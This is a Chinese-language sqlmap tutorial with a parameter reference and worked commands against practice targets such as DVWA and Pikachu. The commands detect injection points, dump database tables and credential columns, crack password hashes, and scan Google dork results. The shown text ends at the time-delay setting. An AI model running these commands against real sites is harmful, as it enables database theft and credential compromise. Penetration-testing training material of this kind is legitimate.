目录

  • 一些地址
  • 关于SQLmap
    • 5种漏洞检测技术
    • 更多
  • sqlmap参数
  • 常用命令
    • 指定某个url进行测试
      • GET型
      • POST型
      • 需要登录cookie型
      • 指定测试的参数
      • 检测cookie注入
      • 参数拆分字符
    • 从文件中加载HTTP请求测试
      • GET型
      • POST型
      • 从文本中获取多个目标扫描
      • 从谷歌引擎搜索结果扫描
    • 测试时常用的参数
      • 指定参数
      • 指定数据库
      • 指定数据库服务器系统
      • 指定无效的大数字
      • 指定无效的逻辑
      • 注入payload
    • 列出数据时常用的参数
      • 数据库版本
      • 用户
      • 获取所有库
      • 当前数据库
      • 当前用户是否为管理员
      • 列数据库用户
      • 列出并破解数据库用户的hash
      • 列出数据库管理员权限
      • 列出数据库管理员角色
      • 列举数据库系统的架构
      • 获取表
      • 获取表中数据个数
      • 获取列名
      • 获取整个表的数据
      • 获取指定条数
    • 其他命令
      • 修改User-Agent
      • HTTP Referer头
      • 额外的HTTP头
      • HTTP(S)代理
      • HTTP请求延迟
      • 设定超时时间
      • 设定重试超时
      • 设定随机改变的参数值
      • 利用正则过滤目标网址
      • 避免过多的错误请求被屏蔽
      • 关掉URL参数值编码
  • 简单使用
    • 判断注入点权限
    • 获取库-表-列-数据
      • 1. 获取站点的数据库
      • 1.1 获取当前网站的数据库
      • 2. 获取所有数据库的-所有表的-表名
      • 2.1 获取指定数据库的-所有表的-表名
      • 3. 获取指定数据库的-指定表的-所有列的-列名
      • 3.1 获取指定数据库的-指定表的-指定列的-所有列名
      • 4. 拿数据
  • 实战技巧
    • 1. 检测注入
    • 2. 获取敏感信息
    • 3. 指定注入方式
    • 4. 使用随机User-Agent
    • 5. 修改时间盲注的时间
    • 6. 修改超时时间
    • 7. 修改默认最大线程
    • 8. 绕WAF
      • 宽字节注入
      • 使用代理注入
      • 使用代理池注入
    • 9. 命令执行
      • 准备靶场
      • 攻击
    • 10. 文件读写
    • 11. sqlmap dnslog注入
    • 12. sqlmap --dns-domain 注入
    • 13. sqlmap爆破
      • 环境准备
      • 攻击

做sql注入,离不开神器sqlmap,由于大多数情况下会需要在windows下安装sqlmap,所以,一个好消息是sqlmap支持pyhton2和python3。

SqlmapWiki翻译.pdf ——《信安之路》

一些地址

官方中文站点:https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md
官方常见问题说明:https://github.com/sqlmapproject/sqlmap/wiki/FAQ
sqlmap常见参数说明:sqlmap中文版
sqlmap上手教程:https://blog.csdn.net/fly_hps/category_7663207.html
脑图+使用:https://www.cnblogs.com/bmjoker/p/9326258.html

关于SQLmap

sqlmap 是一种开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器的过程。它配备了强大的检测引擎、终极渗透测试仪的许多利基功能,以及广泛的交换机,包括数据库指纹、从数据库获取数据、访问基础文件系统以及通过带外连接在操作系统上执行命令。

5种漏洞检测技术

  1. 基于布尔的盲注检测:

    • 根据返回的页面判断条件真假的注入
  2. 基于时间的盲注检测:
    • 用条件语句查看时间延迟语句是否执行(即页面返回时间时候增加)来判断
  3. 基于报错的注入:
    • 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面种
  4. 基于UNON联合查询的注入:
    • 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
  5. 基于堆叠查询的检测:
    • 堆叠多个查询语句
    • 适用于非 selec的数据修改、删除的操作

更多

更多特性,请参见其官网的描述https://sqlmap.org/

sqlmap参数

用法:python sqlmap.py [选项]选项:-h, --help            显示基本帮助信息并退出-hh                   显示高级帮助信息并退出--version             显示程序版本信息并退出-v VERBOSE            输出信息详细程度级别:0-6(默认为 1)0:只显示Python回源(tracebacks),错误(error)和关键(criticle)信息。1:同时显示信息(info)和警告信息(warning)(默认为1)2: 同时显示调试信息(debug)3:同时显示注入的有效载荷(payloads)4:同时显示http请求5:同时显示http响应头6:同时显示http响应内容目标:至少提供一个以下选项以指定目标-d DIRECT           直接连接数据库-u URL, --url=URL   目标 URL(例如:"http://www.site.com/vuln.php?id=1")-l LOGFILE          从 Burp 或 WebScarab 代理的日志文件中解析目标地址-x SITEMAPURL       从远程网站地图(.xml)文件中解析目标-m BULKFILE         从文本文件中获取批量目标-r REQUESTFILE      从文件中读取 HTTP 请求-g GOOGLEDORK       使用 Google dork 结果作为目标-c CONFIGFILE       从 INI 配置文件中加载选项请求:以下选项可以指定连接目标地址的方式--method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)--data=DATA         使用 POST 发送数据串--param-del=PARA..  设置参数值分隔符--cookie=COOKIE     指定 HTTP Cookie --cookie-del=COO..  设置 cookie 分隔符--load-cookies=L..  指定以 Netscape/wget 格式存放 cookies 的文件--drop-set-cookie   忽略 HTTP 响应中的 Set-Cookie 参数--user-agent=AGENT  指定 HTTP User-Agent--random-agent      使用随机的 HTTP User-Agent--host=HOST         指定 HTTP Host--referer=REFERER   指定 HTTP Referer-H HEADER, --hea..  设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")--headers=HEADERS   设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")--auth-type=AUTH..  HTTP 认证方式(Basic,Digest,NTLM 或 PKI)--auth-cred=AUTH..  HTTP 认证凭证(username:password)--auth-file=AUTH..  HTTP 认证 PEM 证书/私钥文件--ignore-code=IG..  忽略 HTTP 错误码(例如:401)--ignore-proxy      忽略系统默认代理设置--ignore-redirects  忽略重定向尝试--ignore-timeouts   忽略连接超时--proxy=PROXY       使用代理连接目标 URL--proxy-cred=PRO..  使用代理进行认证(username:password)--proxy-file=PRO..  从文件中加载代理列表--tor               使用 Tor 匿名网络--tor-port=TORPORT  设置 Tor 代理端口代替默认端口--tor-type=TORTYPE  设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))--check-tor         检查是否正确使用了 Tor--delay=DELAY       设置每个 HTTP 请求的延迟秒数--timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)--retries=RETRIES   连接超时时重试次数(默认为 3)--randomize=RPARAM  随机更改给定的参数值--safe-url=SAFEURL  测试过程中可频繁访问且合法的 URL 地址(译者注:有些网站在你连续多次访问错误地址时会关闭会话连接,后面的“请求”小节有详细说明)--safe-post=SAFE..  使用 POST 方法发送合法的数据--safe-req=SAFER..  从文件中加载合法的 HTTP 请求--safe-freq=SAFE..  每访问两次给定的合法 URL 才发送一次测试请求--skip-urlencode    不对 payload 数据进行 URL 编码--csrf-token=CSR..  设置网站用来反 CSRF 攻击的 token--csrf-url=CSRFURL  指定可提取反 CSRF 攻击 token 的 URL--force-ssl         强制使用 SSL/HTTPS--hpp               使用 HTTP 参数污染攻击--eval=EVALCODE     在发起请求前执行给定的 Python 代码(例如:"import hashlib;id2=hashlib.md5(id).hexdigest()")优化:以下选项用于优化 sqlmap 性能-o                  开启所有优化开关--predict-output    预测常用请求的输出--keep-alive        使用持久的 HTTP(S) 连接--null-connection   仅获取页面大小而非实际的 HTTP 响应--threads=THREADS   设置 HTTP(S) 请求并发数最大值(默认为 1)注入:以下选项用于指定要测试的参数,提供自定义注入 payloads 和篡改参数的脚本-p TESTPARAMETER    指定需要测试的参数--skip=SKIP         指定要跳过的参数--skip-static       指定跳过非动态参数--param-exclude=..  用正则表达式排除参数(例如:"ses")--dbms=DBMS         指定 DBMS 类型(例如:MySQL)--dbms-cred=DBMS..  DBMS 认证凭据(username:password)--os=OS             指定 DBMS 服务器的操作系统类型--invalid-bignum    将无效值设置为大数--invalid-logical   对无效值使用逻辑运算--invalid-string    对无效值使用随机字符串--no-cast           关闭 payload 构造机制--no-escape         关闭字符串转义机制--prefix=PREFIX     注入 payload 的前缀字符串--suffix=SUFFIX     注入 payload 的后缀字符串--tamper=TAMPER     用给定脚本修改注入数据检测:以下选项用于自定义检测方式--level=LEVEL       设置测试等级(1-5,默认为 1)--risk=RISK         设置测试风险等级(1-3,默认为 1)--string=STRING     用于确定查询结果为真时的字符串--not-string=NOT..  用于确定查询结果为假时的字符串--regexp=REGEXP     用于确定查询结果为真时的正则表达式--code=CODE         用于确定查询结果为真时的 HTTP 状态码--text-only         只根据页面文本内容对比页面--titles            只根据页面标题对比页面技术:以下选项用于调整特定 SQL 注入技术的测试方法--technique=TECH    使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:B: Boolean-based blind SQL injection(布尔型盲注)E: Error-based SQL injection(报错型注入)U: UNION query SQL injection(联合查询注入)S: Stacked queries SQL injection(堆查询注入)T: Time-based blind SQL injection(时间型盲注)Q: inline Query injection(内联查询注入)--time-sec=TIMESEC  延迟 DBMS 的响应秒数(默认为 5)--union-cols=UCOLS  设置联合查询注入测试的列数目范围--union-char=UCHAR  用于暴力猜解列数的字符--union-from=UFROM  设置联合查询注入 FROM 处用到的表--dns-domain=DNS..  设置用于 DNS 渗出攻击的域名(译者注:推荐阅读《在SQL注入中使用DNS获取数据》http://cb.drops.wiki/drops/tips-5283.html,在后面的“技术”小节中也有相应解释)--second-order=S..  设置二阶响应的结果显示页面的 URL(译者注:该选项用于二阶 SQL 注入)指纹识别:-f, --fingerprint   执行广泛的 DBMS 版本指纹识别枚举:以下选项用于获取后端数据库管理系统的信息,结构和数据表中的数据。此外,还可以运行你输入的 SQL 语句-a, --all           获取所有信息、数据-b, --banner        获取 DBMS banner--current-user      获取 DBMS 当前用户--current-db        获取 DBMS 当前数据库--hostname          获取 DBMS 服务器的主机名--is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)--users             枚举出 DBMS 所有用户--passwords         枚举出 DBMS 所有用户的密码哈希--privileges        枚举出 DBMS 所有用户特权级--roles             枚举出 DBMS 所有用户角色--dbs               枚举出 DBMS 所有数据库--tables            枚举出 DBMS 数据库中的所有表--columns           枚举出 DBMS 表中的所有列--schema            枚举出 DBMS 所有模式--count             获取数据表数目--dump              导出 DBMS 数据库表项--dump-all          导出所有 DBMS 数据库表项--search            搜索列,表和/或数据库名--comments          获取 DBMS 注释-D DB               指定要枚举的 DBMS 数据库-T TBL              指定要枚举的 DBMS 数据表-C COL              指定要枚举的 DBMS 数据列-X EXCLUDECOL       指定要排除的 DBMS 数据列-U USER             指定枚举的 DBMS 用户--exclude-sysdbs    枚举所有数据表时,指定排除特定系统数据库--pivot-column=P..  指定主列--where=DUMPWHERE   在转储表时使用 WHERE 条件语句--start=LIMITSTART  指定要导出的数据表条目开始行数--stop=LIMITSTOP    指定要导出的数据表条目结束行数--first=FIRSTCHAR   指定获取返回查询结果的开始字符位--last=LASTCHAR     指定获取返回查询结果的结束字符位--sql-query=QUERY   指定要执行的 SQL 语句--sql-shell         调出交互式 SQL shell--sql-file=SQLFILE  执行文件中的 SQL 语句暴力破解:以下选项用于暴力破解测试--common-tables     检测常见的表名是否存在--common-columns    检测常用的列名是否存在用户自定义函数注入:以下选项用于创建用户自定义函数--udf-inject        注入用户自定义函数--shared-lib=SHLIB  共享库的本地路径访问文件系统:以下选项用于访问后端数据库管理系统的底层文件系统--file-read=RFILE   读取后端 DBMS 文件系统中的文件--file-write=WFILE  写入后端 DBMS 文件系统中的文件--file-dest=DFILE   使用文件绝对路径写入到后端 DBMS访问操作系统:以下选项用于访问后端数据库管理系统的底层操作系统--os-cmd=OSCMD      执行操作系统命令--os-shell          调出交互式操作系统 shell--os-pwn            调出 OOB shell,Meterpreter 或 VNC--os-smbrelay       一键调出 OOB shell,Meterpreter 或 VNC--os-bof            利用存储过程的缓冲区溢出--priv-esc          数据库进程用户提权--msf-path=MSFPATH  Metasploit 框架的本地安装路径--tmp-path=TMPPATH  远程临时文件目录的绝对路径访问 Windows 注册表:以下选项用于访问后端数据库管理系统的 Windows 注册表--reg-read          读取一个 Windows 注册表键值--reg-add           写入一个 Windows 注册表键值数据--reg-del           删除一个 Windows 注册表键值--reg-key=REGKEY    指定 Windows 注册表键--reg-value=REGVAL  指定 Windows 注册表键值--reg-data=REGDATA  指定 Windows 注册表键值数据--reg-type=REGTYPE  指定 Windows 注册表键值类型通用选项:以下选项用于设置通用的参数-s SESSIONFILE      从文件(.sqlite)中读入会话信息-t TRAFFICFILE      保存所有 HTTP 流量记录到指定文本文件--batch             从不询问用户输入,使用默认配置--binary-fields=..  具有二进制值的结果字段(例如:"digest")--check-internet    在访问目标之前检查是否正常连接互联网--crawl=CRAWLDEPTH  从目标 URL 开始爬取网站--crawl-exclude=..  用正则表达式筛选爬取的页面(例如:"logout")--csv-del=CSVDEL    指定输出到 CVS 文件时使用的分隔符(默认为“,”)--charset=CHARSET   指定 SQL 盲注字符集(例如:"0123456789abcdef")--dump-format=DU..  导出数据的格式(CSV(默认),HTML 或 SQLITE)--encoding=ENCOD..  指定获取数据时使用的字符编码(例如:GBK)--eta               显示每个结果输出的预计到达时间--flush-session     清空当前目标的会话文件--forms             解析并测试目标 URL 的表单--fresh-queries     忽略存储在会话文件中的查询结果--har=HARFILE       将所有 HTTP 流量记录到一个 HAR 文件中--hex               获取数据时调用 DBMS 的 hex 函数--output-dir=OUT..  自定义输出目录路径--parse-errors      从响应中解析并显示 DBMS 错误信息--save=SAVECONFIG   将选项设置保存到一个 INI 配置文件--scope=SCOPE       用正则表达式从提供的代理日志中过滤目标--test-filter=TE..  根据 payloads 和/或标题(例如:ROW)选择测试--test-skip=TEST..  根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试--update            更新 sqlmap其他选项:-z MNEMONICS        使用短助记符(例如:“flu,bat,ban,tec=EU”)--alert=ALERT       在找到 SQL 注入时运行 OS 命令--answers=ANSWERS   设置问题答案(例如:“quit=N,follow=N”)--beep              出现问题提醒或在发现 SQL 注入时发出提示音--cleanup           指定移除 DBMS 中的特定的 UDF 或者数据表--dependencies      检查 sqlmap 缺少什么(非核心)依赖--disable-coloring  关闭彩色控制台输出--gpage=GOOGLEPAGE  指定页码使用 Google dork 结果--identify-waf      针对 WAF/IPS/IDS 保护进行彻底的测试--mobile            使用 HTTP User-Agent 模仿智能手机--offline           在离线模式下工作(仅使用会话数据)--purge-output      安全地删除输出目录的所有内容--skip-waf          跳过启发式检测 WAF/IPS/IDS 保护--smart             只有在使用启发式检测时才进行彻底的测试--sqlmap-shell      调出交互式 sqlmap shell--tmp-dir=TMPDIR    指定用于存储临时文件的本地目录--web-root=WEBROOT  指定 Web 服务器根目录(例如:"/var/www")--wizard            适合初级用户的向导界面

常用命令

指定某个url进行测试

sqlmap -u http://sqlmap.com/index.php?id=1 -v 1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -v 1

  • -u 和–url参数含义一样,如果url地址中存在&符号,需要添加把url放在双引号内
  • -v 表示 输出信息详细程度级别:0-6(默认为 1)

GET型

格式: python .\sqlmap.py -u "url地址"

 python .\sqlmap.py -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2"

POST型

  1. 抓包

  1. 格式:python .\sqlmap.py -u "url地址" --data="请求体"

这里,我可以很快的获取到注入结果,是因为之前注入过,有缓存。如果不想用之前缓存的session文件,可以使用参数:--flush-session。 会清空之前的session,重新测试该目标。
格式:python .\sqlmap.py -u "url地址" --data="请求体" --flush-session

需要登录cookie型

相关参数: --cookie--load-cookies--drop-set-cookie

  1. 如果你不想接受Set-Cookie,可以使用--drop-set-cookie参数来拒接。
  2. 当使用--cookie参数时,当页面返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

这里以DVWA靶场为例。如果直接跑sqlmap的话会出现一个302跳转,最后会因为无法登录到指定页面导致注入失败。

这个时候就需要指定一下cookie就行了。可以使用BurpSuite获取cookie,或者直接使用浏览器。

使用命令:

格式:sqlmap -u "url地址" --cookie="cookie内容"sqlmap -u "http://192.168.239.132/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=75bindmdattsl755feob04a1r6"

如下图,这个时候就没有302跳转了,可以直接注入了。

指定测试的参数

用到了-p参数。
在存在多个参数的情况下,可以通过-p参数指定自己想要测试的参数。加快检测速度。

检测cookie注入

用到参数:--level=LEVEL 设置测试等级(1-5,默认为 1)
当等级为3的时候就会检测cookie注入。另外,为了防止缓存影响测试效果,建议加上--flush-session
命令如下:

sqlmap -u "http://192.168.239.132/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=75bindmdattsl755feob04a1r6" --level 3 --flush-session

参数拆分字符

参数:--param-del
当GET或POST的数据需要用其他字符分割测试参数的时候,需要用到此参数。
举个例子:
下面命令中的--param-del=";"旨在指明请求体的内容--data="query=foobar;id=1"是用;分割的。

sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

从文件中加载HTTP请求测试

GET型

  1. 截获数据包

  1. 保存为txt文件

  1. sqlmap跑

python .\sqlmap.py -r "C:\Users\asuka\Desktop\GET型.txt"

POST型

  1. 截获数据包

  1. 把截获的数据包内容保存为txt
  2. 跑sqlmap

这里用到参数 --data,此参数是把数据以post方式提交,sqlmap会自动检测post参数

python .\sqlmap.py -r "C:\Users\asuka\Desktop\POST型.txt" --data="id=1&submit=%E6%9F%A5%E8%AF%A2"

从文本中获取多个目标扫描

sqlmap -m url.txt

http://192.168.239.132/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2
http://192.168.239.132/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#

从谷歌引擎搜索结果扫描

sqlmap可以测试google搜索结果中的get参数

python sqlmap.py -g "inurl:\".php?id=1\""

测试时常用的参数

指定参数

参数:-p--skip
sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如:-p "id,user-anget"

当你使用–level的值很大但是有个别参数不想测试的时候可以使用--skip参数。
例如:--skip="user-angent.referer"

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*
例如:
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap将会测试value1的位置是否可注入。

指定数据库

参数:--dbms
默认情况下,sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2

指定数据库服务器系统

参数:--os
默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:--invalid-bignum
当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

指定无效的逻辑

参数:--invalid-logical
原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19

注入payload

参数:--prefix--suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=('" . $_GET[’id’] . "') LIMIT 0, 1";

这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

列出数据时常用的参数

数据库版本

参数:-b--banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version,这主要取决与是什么数据库。
举例:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -b

用户

参数:-current-user
在大多数据库中可以获取到管理数据的用户。
举例:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -current-user --batch

获取所有库

参数:--dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

当前数据库

参数:--current-db
返还当前连接的数据库。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --current-db

当前用户是否为管理员

参数:--is-dba
判断当前的用户是否为管理,是的话会返回True
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --is-dba

列数据库用户

参数:--users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有数据库用户。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --users

列出并破解数据库用户的hash

参数:--passwords
当前用户有权限读取包含用户密码表权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --passwords

列出数据库管理员权限

参数:--privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:--roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。

列举数据库系统的架构

参数:--schema--exclude-sysdbs
用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --schema --batch --exclude-sysdbs

获取表

参数:--tables--exclude-sysdbs-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

  • --exclude-sysdbs参数是指包含了所有的系统数据库。
  • 需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --tables -D pikachu

获取表中数据个数

参数:--count
有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --count -D pikachu

获取列名

需要指定数据库、表,然后使用--columns获取列名

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users --columns

如果不写-T users,就会获取某个库的所有表的所有字段。

获取整个表的数据

参数:--dump-C-T-D--start--stop--first--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D、-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --dump -T users -D pikachu

  1. 获取指定库:所有表,所有字段内容
sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -tables --columns --dump

  1. 获取指定表的:所有字段内容

注意到,相较于上文,-tables变成了-T users

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users --columns --dump

  1. 获取指定表、指定字段的内容

注意到,相较于上文,--columns变成了-C "username,password"

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users -C "username,password" --dump

获取指定条数

  1. 获取总条数

使用参数: --count

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users -C "username,password" --dump --count

  1. 获取指定条数

使用参数:--start--stop

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users -C "username,password" --dump  --start 1 --stop 2

其他命令

修改User-Agent

参数:--user-agent--random-agent
方法参见之前的文章:https://www.yuque.com/u1881995/pborfs/xqxa4w#GYkfF

HTTP Referer头

参数:--referer
sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:--headers
可以通过–headers参数来增加额外的http头

HTTP(S)代理

参数:--proxy--proxy-cred--ignore-proxy
使用–proxy代理是格式为:http://url:port
当HTTP(S)代理需要认证时,可以使用--proxy-cred参数:username:password。
--ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:--delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:--timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:--retries
当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:--randomize
可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:--scope
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免过多的错误请求被屏蔽

参数:--safe-url--safe-freq
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。绕过这个策略有两种方式:
1、–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

关掉URL参数值编码

参数:--skip-urlencode
根据参数位置,它的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。

简单使用

小结如下:

sqlmap -u url          -u:指定注入点
sqlmap -u url --dbs    --dbs: 跑库名
sqlmap -u url --tables    --tables: 跑表名
sqlmap -u url -D 库名 --tables    指定库跑表名
sqlmap -u url -D 库名 -T 表名  --columns    指定库和表跑字段
sqlmap -u url -D 库名 -T 表名 -C 字段名  --dump    指定库表和字段枚举数据

判断注入点权限

方法1:使用--privileges
使用sqlmap判断一个数据库是不是高权限注入点
命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --privileges

方法2:使用--is-dba

获取库-表-列-数据

需要数据库是有高权限注入点的

1. 获取站点的数据库

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --dbs

1.1 获取当前网站的数据库

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --current-db

2. 获取所有数据库的-所有表的-表名

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --tables

2.1 获取指定数据库的-所有表的-表名

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --tables -D “mozhe_Discuz_StormGroup”

3. 获取指定数据库的-指定表的-所有列的-列名

命令:
sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --columns --tables -D “mozhe_Discuz_StormGroup”

3.1 获取指定数据库的-指定表的-指定列的-所有列名

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --columns --tables -T “StormGroup_member” -D “mozhe_Discuz_StormGroup”

4. 拿数据

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --dump -C “name,password” --columns --tables -T “StormGroup_member” -D “mozhe_Discuz_StormGroup”

实战技巧

1. 检测注入

GET型参见上文:https://www.yuque.com/u1881995/pborfs/abgfag#W83JV
POST型参见上文:https://www.yuque.com/u1881995/pborfs/abgfag#BLugp

2. 获取敏感信息

确定存在注入之后 接着通过获取敏感信息命令 获取

  • –current-user 用户连接的用户
  • –currnet-db 当前库
  • –is-dba 是否root权限
  • –passwords 获取数据库的密码(使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解 如果需要选择合适的字典)
sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  --dbms mysql --current-user --current-db --is-dba --passwords

3. 指定注入方式

SQLmap支持多种注入检测,默认是测试全部。有时候我们需要手动指定注入方式,提高检测速度。
用到参数:--technique,参数的值有以下6种
● B:Boolean-basedblindSQLinjection(布尔型注入)
● E:Error-basedSQLinjection(报错型注入)
● U:UNIONquerySQLinjection(可联合查询注入)
● S:StackedqueriesSQLinjection(可多语句查询注入)
● T:Time-basedblindSQLinjection(基于时间延迟注入)
● Q:InlineSQLInjection(内联注入)
举个例子:

  1. 单一检测延时注入
sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 -D pikachu --technique=T

  1. 同时做多种检测
sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 -D pikachu --technique=BEUT

4. 使用随机User-Agent

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 -D pikachu --random-agent

5. 修改时间盲注的时间

使用时间注时,修改--time-sec参数设置延时的返回时间,默认是五秒

